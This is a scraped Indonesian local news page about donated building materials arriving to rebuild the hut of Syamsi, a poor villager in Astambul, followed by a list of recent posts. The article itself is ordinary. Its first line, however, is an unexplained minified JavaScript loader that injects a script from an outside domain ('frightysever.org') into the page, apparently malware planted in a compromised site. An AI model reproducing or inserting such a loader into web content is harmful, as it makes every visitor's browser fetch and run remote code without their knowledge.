(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HukumKanalSosial

Bantuan Rehab Rumah Syamsi Berdatangan


MARTAPURA, Potret kemiskinan warga Desa Kelampaian Ilir, RT 05 RW 02, Kecamatan Astambul yang dialami Syamsi, membuat banyak pihak tergerak memberi bantuan. Ya, sejumlah bantuan berupa material bangunan berdatangan ke gubuk reotnya.

Menurut salah seorang warga bernama Anang mengungkapkan, pembangunan rumah untuk Syamsi itu hanya dikerjakan oleh dia seorang. Dan bahan bangunan untuk rumah seukuran 4×8 meter sangat banyak yang datang dari orang yang berbeda.

Bahan material kayu yang akan dibangun untuk rumah Syamsi.

“Sabtu datang bahan material. Lalu hari Senin datang lagi dari Hamba Allah. Dan bahannya jauh lebih banyak dari sebelumnya,” ujar Anang kepada wartawan sambil menumpuk tanah ke halaman SDN Kelampaian Ilir 2.

Memang saat hendak masuk kea rah kediaman Syamsi, sebelum memasuki jalan kecil menuju rumahnya, terlihat berbagai macam material dibungkus dengan terpal biru menumpuk di depan rumah salah satu masyarakat H Mas’ud. Mulai dari kayu sebagai tongkat pondasi ukuran 4×9 cm dan panjangnya 2 m berjumlah puluhan batang. Kemudian susuk 4×6 cm dengan panjang 4m, tiang 5×10 cm panjang 4 m dan seng berwarna merah berukuran 170×80 cm.

Di dalam rumah warga itu, juga terdapat kalsiboard sebanyak 10 lembar, jendela berwarna putih berukuran 60×120 cm sebanyak 4 buah dan pintu ulin putih berukuran 80×180 cm 2 buah serta 1 buah toilet berwarna krim. Lalu material lain seperti paku ukuran 2 inchi, 3½ inchi dan 3 inchi sebanyak masing-masing 5 kg dan paku payung atau atap 2 kotak atau 2 Kg serta paku kalsiboard sebanyak 2 kotak juga ada di dalam rumah itu.

Sahid Saman, Ketua RT 05 mengatakan, bantuan yang berdatangan itu merupakan hasil dari pemberian yang tidak diketahui dari mana. Termasuk bantuan lain dari pemerintah daerah juga bercampur.

“Hari Sabtu ada 3 orang datang ke sini malam-malam, besoknya barang langsung datang,” katanya.

Ia menambahkan, pembangunan rumah tersebut berlokasi di tanah milik Syamsi pasca peristiwa kebakaran yang menimpa Syamsi dan istrinya sejak tahun 1987.***


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

12 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

15 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

15 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

17 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

19 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

20 jam ago

This website uses cookies.